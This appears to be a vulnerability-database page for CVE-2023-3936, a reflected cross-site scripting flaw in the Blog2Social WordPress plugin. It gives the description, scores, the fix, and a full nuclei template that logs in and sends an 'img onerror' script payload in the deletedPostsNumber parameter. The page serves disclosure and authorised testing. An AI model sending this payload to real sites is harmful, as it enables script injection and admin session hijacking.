HexBrain

Browse / CVEs / CVE-2023-3936

CVE-2023-3936· adenion / blog2social· CWE-79

Blog2Social < 7.2.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the Blog2Social plugin (7.2.1) or apply the vendor-provided patch to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img+src+onerror%3Dalert%28document.domain%29>
Positive when: contains "Deleted 1<img src onerror=alert(document.domain)> posts" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3936 -u <target>

The full check
id: CVE-2023-3936

info:
  name: Blog2Social < 7.2.1 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Blog2Social plugin (7.2.1) or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6d09a5d3-046d-47ef-86b4-c024ea09dc0f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3936
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3936
    cwe-id: CWE-79
    epss-score: 0.00902
    epss-percentile: 0.60038
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: cve2023,cve,wpscan,wordpress,wp-plugin,xss,authenticated,adenion,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Deleted 1<img src onerror=alert(document.domain)> posts"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from